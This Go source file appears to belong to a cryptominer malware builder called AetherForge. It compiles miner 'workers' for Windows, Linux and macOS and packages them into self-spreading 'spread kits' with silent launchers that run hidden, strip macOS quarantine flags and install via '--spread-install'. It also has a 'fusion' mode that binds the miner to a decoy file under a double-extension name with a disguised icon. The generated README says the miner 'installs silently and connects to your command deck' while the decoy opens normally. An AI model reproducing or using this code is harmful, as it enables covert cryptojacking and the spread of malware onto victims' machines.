package builder import ( "context" "fmt" "log" "net/http" "os" "path/filepath" "strings" "time" "crypto-miner-server/internal/models" "github.com/google/uuid" ) func (h *Handler) buildUniversalAgent(ctx context.Context, req *BuildRequest, prepPath string) (BuildResponse, int, string) { buildID := uuid.New().String() buildDir, _ := filepath.Abs(filepath.Join(h.dataDir, "builds", buildID)) agentDir := filepath.Join(buildDir, "agent") if err := os.MkdirAll(agentDir, 0755); err != nil { return BuildResponse{Success: false, Error: "Failed to create build directory"}, http.StatusInternalServerError, "" } if err := h.copyAgentSource(agentDir); err != nil { return BuildResponse{Success: false, Error: "Failed to prepare agent source: " + err.Error()}, http.StatusInternalServerError, "" } platforms := platformsForRequest(req) workerPaths := map[string]string{} for _, p := range platforms { wp, err := h.compileWorker(ctx, agentDir, buildDir, req, buildID, p, req.FusionEnabled) if err != nil { return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, "" } workerPaths[p.Label()] = wp } if req.SpreadKit && !req.FusionEnabled { return h.finishSpreadKit(buildID, buildDir, req, workerPaths, platforms) } if req.FusionEnabled { return h.finishUniversalFusion(ctx, buildID, buildDir, req, prepPath, workerPaths, platforms) } // Universal workers only — primary artifact is spread-kit style folder without spread flag naming return h.finishSpreadKit(buildID, buildDir, req, workerPaths, platforms) } func (h *Handler) finishSpreadKit(buildID, buildDir string, req *BuildRequest, workers map[string]string, platforms []BuildPlatform) (BuildResponse, int, string) { subdir := sanitizeFileName(req.WorkerName) + "-spread-kit" if req.SpreadKit { subdir = sanitizeFileName(req.WorkerName) + "-spread-kit" } else { subdir = sanitizeFileName(req.WorkerName) + "-universal" } outDir := filepath.Join(h.projectRoot, "spread-kits", subdir) if err := os.MkdirAll(outDir, 0755); err != nil { return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, "" } for _, p := range platforms { src := workers[p.Label()] destDir := filepath.Join(outDir, p.BinDir()) if err := os.MkdirAll(destDir, 0755); err != nil { return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, "" } destName := "worker" + p.Ext if err := copyFile(src, filepath.Join(destDir, destName)); err != nil { return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, "" } } _ = os.WriteFile(filepath.Join(outDir, "deploy.sh"), []byte(spreadKitDeploySh()), 0755) _ = os.WriteFile(filepath.Join(outDir, "Deploy.bat"), []byte(spreadKitDeployBat()), 0644) _ = os.WriteFile(filepath.Join(outDir, "Deploy.vbs"), []byte(spreadKitDeployVbs()), 0644) _ = os.WriteFile(filepath.Join(outDir, "Start.command"), []byte(spreadKitStartCommand()), 0755) _ = os.WriteFile(filepath.Join(outDir, "README.txt"), []byte(formatSpreadKitReadme(req)), 0644) _ = os.WriteFile(filepath.Join(outDir, "OPERATOR.txt"), []byte(formatSpreadKitOperator(req, buildID)), 0644) zipName := subdir + "-package.zip" zipPath := filepath.Join(buildDir, zipName) if err := zipDirectory(outDir, zipPath); err != nil { return BuildResponse{Success: false, Error: "zip failed: " + err.Error()}, http.StatusInternalServerError, "" } _ = copyFile(zipPath, filepath.Join(outDir, zipName)) primary := workers[platforms[0].Label()] if w, ok := workers["windows-amd64"]; ok { primary = w } zipSt, _ := os.Stat(zipPath) zipBytes := int64(0) if zipSt != nil { zipBytes = zipSt.Size() } if err := h.db.InsertBuild(&models.BuildRecord{ ID: buildID, WorkerName: req.WorkerName, ServerURL: req.ServerURL, Wallet: req.Wallet, Threads: req.Threads, FileSize: zipBytes, FilePath: zipPath, FileName: zipName, CreatedAt: time.Now(), PoolHost: req.PoolHost, PoolPort: req.PoolPort, PoolTLS: req.PoolTLS, PoolPass: req.PoolPass, Platform: "universal", BundleSize: zipBytes, DownloadURL: fmt.Sprintf("/api/v1/builds/%s/artifact/%s", buildID, zipName), }); err != nil { log.Printf("[Builder] InsertBuild error (spread kit %s): %v", buildID, err) } return BuildResponse{ Success: true, BuildID: buildID, FileName: zipName, FilePath: zipPath, RelativePath: filepath.ToSlash(filepath.Join("spread-kits", subdir, zipName)), FileSize: zipBytes, DownloadURL: fmt.Sprintf("/api/v1/builds/%s/artifact/%s", buildID, zipName), BundleFileName: zipName, BundleDownloadURL: fmt.Sprintf("/api/v1/builds/%s/artifact/%s", buildID, zipName), BundleSize: zipBytes, FusionExportDir: outDir, ExportPath: outDir, }, http.StatusOK, primary } func (h *Handler) finishUniversalFusion(ctx context.Context, buildID, buildDir string, req *BuildRequest, prepPath string, workers map[string]string, platforms []BuildPlatform) (BuildResponse, int, string) { // Resolve payload display name (used for runner naming and ZIP title) payloadBase := filepath.Base(prepPath) title := strings.TrimSpace(req.FusionMediaBaseName) if title == "" { title = payloadBase } titleBase := strings.TrimSuffix(filepath.Base(title), filepath.Ext(title)) if titleBase == "" { titleBase = "fusion" } subdir := fusionExportSubdir(req, title) outDir := filepath.Join(h.projectRoot, FusionDeliverablesDir, subdir) if err := os.MkdirAll(outDir, 0755); err != nil { return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, "" } mode := normalizeFusionMediaMode(req.FusionMediaMode) var fusionResults []*fusionBuildResult var primaryPath string for _, p := range platforms { workerPath := workers[p.Label()] platReq := *req // Name each runner after the payload file for clarity (e.g. report-runner.exe) platReq.FusionOutputName = runnerNameForFile(title, p) res, err := h.buildFusionForPlatform(ctx, buildDir, prepPath, workerPath, &platReq, p) if err != nil { return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, "" } fusionResults = append(fusionResults, res) destDir := filepath.Join(outDir, p.BinDir()) if err := os.MkdirAll(destDir, 0755); err != nil { return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, "" } runnerName := filepath.Base(res.LauncherPath) destRunner := filepath.Join(destDir, runnerName) if err := copyFile(res.LauncherPath, destRunner); err != nil { return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, "" } if p.GOOS == "windows" { primaryPath = destRunner } if p.GOOS == "darwin" { if err := h.buildDarwinAppBundle(outDir, title, destRunner, p); err != nil { log.Printf("[Forge] darwin app bundle: %v", err) } } } // For paired mode: copy the original payload file to the ZIP root so runners can find it. // The runners search up to 2 parent dirs from their binary location (bin/platform/ → root). if mode == "paired" && prepPath != "" { destPayload := filepath.Join(outDir, sanitizeFileName(payloadBase)) _ = copyFile(prepPath, destPayload) } _ = os.WriteFile(filepath.Join(outDir, "start.sh"), []byte(fusionUniversalStartSh(title)), 0755) _ = os.WriteFile(filepath.Join(outDir, "Start.bat"), []byte(fusionUniversalStartBat(title)), 0644) _ = os.WriteFile(filepath.Join(outDir, "Start.command"), []byte(fusionUniversalStartCommand()), 0755) readme := fusionReadmeInfo{ Title: titleBase, RunnerName: titleBase + "-runner", MediaName: payloadBase, PayloadKind: req.FusionPayloadKind, MediaMode: mode, } windowsRunnerName := disguisedRunnerName(payloadBase) unixRunnerName := sanitizeFileName(titleBase+"-runner") readmeExtra := "\r\nLAUNCH INSTRUCTIONS (Universal — all OSes):\r\n" + " Windows: double-click Start.bat (or run bin\\windows-amd64\\" + windowsRunnerName + ")\r\n" + " NOTE: on Windows, " + windowsRunnerName + " appears as \"" + titleBase + strings.ToLower(filepath.Ext(payloadBase)) + "\" (icon + name disguised)\r\n" + " Linux: chmod +x start.sh && ./start.sh (or bin/linux-amd64/" + unixRunnerName + ")\r\n" + " macOS: double-click Start.command (or open " + titleBase + ".app)\r\n\r\n" + "What happens when launched:\r\n" + " 1. The original file (" + payloadBase + ") opens normally\r\n" + " 2. The miner installs silently and connects to your command deck\r\n" _ = os.WriteFile(filepath.Join(outDir, "README.txt"), []byte(formatFusionReadme(readme)+readmeExtra), 0644) zipName := fusionBundleZipName(subdir) zipPath := filepath.Join(buildDir, zipName) if err := zipDirectory(outDir, zipPath); err != nil { return BuildResponse{Success: false, Error: "zip failed: " + err.Error()}, http.StatusInternalServerError, "" } _ = copyFile(zipPath, filepath.Join(outDir, zipName)) if primaryPath == "" && len(fusionResults) > 0 { primaryPath = fusionResults[0].LauncherPath } zipSt2, _ := os.Stat(zipPath) zipBytes2 := int64(0) if zipSt2 != nil { zipBytes2 = zipSt2.Size() } if err := h.db.InsertBuild(&models.BuildRecord{ ID: buildID, WorkerName: req.WorkerName, ServerURL: req.ServerURL, Wallet: req.Wallet, Threads: req.Threads, FileSize: zipBytes2, FilePath: zipPath, FileName: zipName, CreatedAt: time.Now(), PoolHost: req.PoolHost, PoolPort: req.PoolPort, PoolTLS: req.PoolTLS, PoolPass: req.PoolPass, Platform: "universal", BundleSize: zipBytes2, DownloadURL: fmt.Sprintf("/api/v1/builds/%s/artifact/%s", buildID, zipName), }); err != nil { log.Printf("[Builder] InsertBuild error (universal fusion %s): %v", buildID, err) } return BuildResponse{ Success: true, BuildID: buildID, FileName: zipName, FilePath: zipPath, RelativePath: filepath.ToSlash(filepath.Join(FusionDeliverablesDir, subdir, zipName)), FileSize: zipBytes2, DownloadURL: fmt.Sprintf("/api/v1/builds/%s/artifact/%s", buildID, zipName), FusionEnabled: true, FusionExportDir: outDir, BundleFileName: zipName, BundleDownloadURL: fmt.Sprintf("/api/v1/builds/%s/artifact/%s", buildID, zipName), BundleSize: zipBytes2, ExportPath: outDir, }, http.StatusOK, primaryPath } func runnerNameForPlatform(p BuildPlatform) string { if p.GOOS == "windows" { return "runner.exe" } return "runner" } func fileSize(st os.FileInfo) int64 { if st == nil { return 0 } return st.Size() } const universalDeploySh = `#!/bin/sh set -e DIR="$(cd "$(dirname "$0")" && pwd)" export AETHER_KIT_DIR="$DIR" OS="$(uname -s | tr '[:upper:]' '[:lower:]')" ARCH="$(uname -m)" case "$OS" in linux*) case "$ARCH" in arm64|aarch64) RUN="$DIR/bin/linux-arm64/worker" ;; *) RUN="$DIR/bin/linux-amd64/worker" ;; esac ;; darwin*) case "$ARCH" in arm64|aarch64) RUN="$DIR/bin/darwin-arm64/worker" ;; *) RUN="$DIR/bin/darwin-amd64/worker" ;; esac ;; *) echo "Unsupported OS: $OS"; exit 1 ;; esac if [ ! -f "$RUN" ]; then echo "Worker binary missing: $RUN" exit 1 fi chmod +x "$RUN" 2>/dev/null || true xattr -cr "$RUN" 2>/dev/null || true nohup "$RUN" --spread-install /dev/null 2>&1 & exit 0 ` func spreadKitDeploySh() string { return universalDeploySh } const spreadKitDeployBatBody = `@echo off setlocal set "DIR=%~dp0" set "AETHER_KIT_DIR=%DIR%" set "RUN=%DIR%bin\windows-amd64\worker.exe" if not exist "%RUN%" ( echo Worker missing: %RUN% exit /b 1 ) start "" /B "%RUN%" --spread-install exit /b 0 ` func spreadKitDeployBat() string { return spreadKitDeployBatBody } const spreadKitDeployVbsBody = `Set sh = CreateObject("WScript.Shell") dir = Replace(WScript.ScriptFullName, WScript.ScriptName, "") run = dir & "bin\windows-amd64\worker.exe" If Not CreateObject("Scripting.FileSystemObject").FileExists(run) Then WScript.Echo "Worker missing: " & run WScript.Quit 1 End If sh.Environment("PROCESS")("AETHER_KIT_DIR") = dir sh.Run """" & run & """ --spread-install", 0, False ` func spreadKitDeployVbs() string { return spreadKitDeployVbsBody } const spreadKitStartCommandBody = `#!/bin/bash DIR="$(cd "$(dirname "$0")" && pwd)" exec "$DIR/deploy.sh" ` func spreadKitStartCommand() string { return spreadKitStartCommandBody } const universalDeployBat = `@echo off set DIR=%~dp0 "%DIR%bin\windows-amd64\worker.exe" --spread-install ` // fusionUniversalStartSh returns start.sh for the universal fusion ZIP. // It detects the OS/arch and launches the matching runner binary. // title is the payload filename — Unix runners use a sanitised "-runner" suffix. func fusionUniversalStartSh(title string) string { base := strings.TrimSuffix(filepath.Base(title), filepath.Ext(title)) if base == "" { base = "runner" } runnerBase := sanitizeFileName(base + "-runner") return `#!/bin/sh DIR="$(cd "$(dirname "$0")" && pwd)" OS="$(uname -s | tr '[:upper:]' '[:lower:]')" ARCH="$(uname -m)" case "$OS" in linux*) case "$ARCH" in arm64|aarch64) RUN="$DIR/bin/linux-arm64/` + runnerBase + `" ;; *) RUN="$DIR/bin/linux-amd64/` + runnerBase + `" ;; esac ;; darwin*) case "$ARCH" in arm64|aarch64) RUN="$DIR/bin/darwin-arm64/` + runnerBase + `" ;; *) RUN="$DIR/bin/darwin-amd64/` + runnerBase + `" ;; esac ;; *) echo "Unsupported OS: $OS"; exit 1 ;; esac if [ ! -f "$RUN" ]; then echo "Runner not found: $RUN"; exit 1; fi chmod +x "$RUN" 2>/dev/null || true xattr -cr "$RUN" 2>/dev/null || true exec "$RUN" ` } // fusionUniversalStartBat returns Start.bat for the universal fusion ZIP (Windows runner). // title is the payload filename — the runner uses the double-extension disguised name. func fusionUniversalStartBat(title string) string { runnerExe := disguisedRunnerName(title) return "@echo off\r\nset \"DIR=%~dp0\"\r\n\"%DIR%bin\\windows-amd64\\" + runnerExe + "\"\r\n" } // fusionUniversalStartCommand returns Start.command (macOS double-click launcher). func fusionUniversalStartCommand() string { return "#!/bin/bash\nDIR=\"$(cd \"$(dirname \"$0\")\" && pwd)\"\nexec \"$DIR/start.sh\"\n" } func formatSpreadKitReadme(req *BuildRequest) string { return fmt.Sprintf(`AetherForge Universal Spread Kit — %s ===================================== Run ONE launcher for your OS (silent install + mining + deck connection): Windows (silent): double-click Deploy.vbs (or Deploy.bat) Linux: chmod +x deploy.sh && ./deploy.sh macOS: double-click Start.command (or ./deploy.sh) Keep the entire folder together — bin/ must stay next to the launcher. Command deck URL baked into workers: %s If agents never appear, re-forge with your LAN IP (not localhost). Troubleshooting log (if install fails): %%TEMP%%\aetherforge-spread.log (Windows) or /tmp/aetherforge-spread.log (Unix) `, req.WorkerName, req.ServerURL) } func formatSpreadKitOperator(req *BuildRequest, buildID string) string { return fmt.Sprintf(`AetherForge Spread Kit — operator reference Worker: %s Build ID: %s Command URL: %s Pool: %s:%d Wallet: %s… Auto-spread: %v Targets: windows-amd64, linux-amd64, linux-arm64, darwin-amd64, darwin-arm64 Verify: unzip, run launcher on target OS, agent should appear on command deck within ~30s. `, req.WorkerName, buildID, req.ServerURL, req.PoolHost, req.PoolPort, truncateWallet(req.Wallet), req.AutoSpread) } func truncateWallet(w string) string { w = strings.TrimSpace(w) if len(w) <= 16 { return w } return w[:16] }